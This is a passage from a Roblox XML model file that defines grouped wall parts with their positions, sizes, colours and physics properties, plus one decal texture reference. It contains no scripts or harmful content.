							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>30</X>
								<Y>2.4000001</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX1042">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">1004</int>
							<CoordinateFrame name="CFrame">
								<X>125</X>
								<Y>6.40000105</Y>
								<Z>222</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0.600000024</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>30</X>
								<Y>2.4000001</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX1043">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">1004</int>
							<CoordinateFrame name="CFrame">
								<X>141</X>
								<Y>6.40000105</Y>
								<Z>236</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>-1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>1</R20>
								<R21>0</R21>
								<R22>0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0.600000024</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>30</X>
								<Y>2.4000001</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX1044">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">1004</int>
							<CoordinateFrame name="CFrame">
								<X>127</X>
								<Y>6.40000105</Y>
								<Z>252</Z>
								<R00>-1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>-1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0.600000024</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>30</X>
								<Y>2.4000001</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX1045">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">23</int>
						<CoordinateFrame name="CFrame">
							<X>126</X>
							<Y>7.5999999</Y>
							<Z>237</Z>
							<R00>0</R00>
							<R01>0</R01>
							<R02>1</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>-0</R12>
							<R20>-1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">1</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>28</X>
							<Y>14.4000006</Y>
							<Z>28</Z>
						</Vector3>
					</Properties>
					<Item class="Decal" referent="RBX1046">
						<Properties>
							<token name="Face">1</token>
							<string name="Name">Decal</string>
							<float name="Shiny">20</float>
							<float name="Specular">0</float>
							<Content name="Texture"><url>http://www.roblox.com/asset/?id=15161938</url></Content>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Model" referent="RBX1047">
					<Properties>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">null</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX1048">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">1004</int>
							<CoordinateFrame name="CFrame">
								<X>111</X>
								<Y>8.80000114</Y>
								<Z>238</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>-1</R20>
								<R21>0</R21>
								<R22>0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0.600000024</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>30</X>
								<Y>2.4000001</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX1049">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">1004</int>
							<CoordinateFrame name="CFrame">
								<X>125</X>
								<Y>8.80000114</Y>
								<Z>222</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0.600000024</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>30</X>
								<Y>2.4000001</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX1050">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">1004</int>
							<CoordinateFrame name="CFrame">
								<X>141</X>
								<Y>8.80000114</Y>
								<Z>236</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>-1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>1</R20>
								<R21>0</R21>
								<R22>0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0.600000024</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>30</X>
								<Y>2.4000001</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX1051">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">1004</int>
							<CoordinateFrame name="CFrame">
								<X>127</X>
								<Y>8.80000114</Y>
								<Z>252</Z>
								<R00>-1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>-1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0.600000024</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>30</X>
								<Y>2.4000001</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
					</Item>
				</Item>
				<Item class="Model" referent="RBX1052">
					<Properties>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">null</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX1053">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">1004</int>
							<CoordinateFrame name="CFrame">
								<X>111</X>
								<Y>1.60000086</Y>
								<Z>238</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>-1</R20>
								<R21>0</R21>
								<R22>0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0.600000024</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>30</X>
								<Y>2.4000001</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX1054">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">1004</int>
							<CoordinateFrame name="CFrame">
								<X>125</X>
								<Y>1.60000086</Y>
								<Z>222</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0.600000024</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>30</X>
								<Y>2.4000001</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX1055">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">1004</int>
							<CoordinateFrame name="CFrame">
								<X>141</X>
								<Y>1.60000086</Y>
								<Z>236</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>-1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>1</R20>
								<R21>0</R21>
								<R22>0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0.600000024</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>30</X>
								<Y>2.4000001</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX1056">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">1004</int>
							<CoordinateFrame name="CFrame">
								<X>127</X>
								<Y>1.60000086</Y>
								<Z>252</Z>
								<R00>-1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>-1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0.600000024</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>30</X>
								<Y>2.4000001</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
					</Item>
				</Item>
				<Item class="Model" referent="RBX1057">
					<Properties>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">null</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX1058">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">1004</int>
							<CoordinateFrame name="CFrame">
								<X>111</X>
								<Y>11.2000008</Y>
								<Z>238</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>-1</R20>
								<R21>0</R21>
								<R22>0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0.600000024</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>30</X>
								<Y>2.4000001</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX1059">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
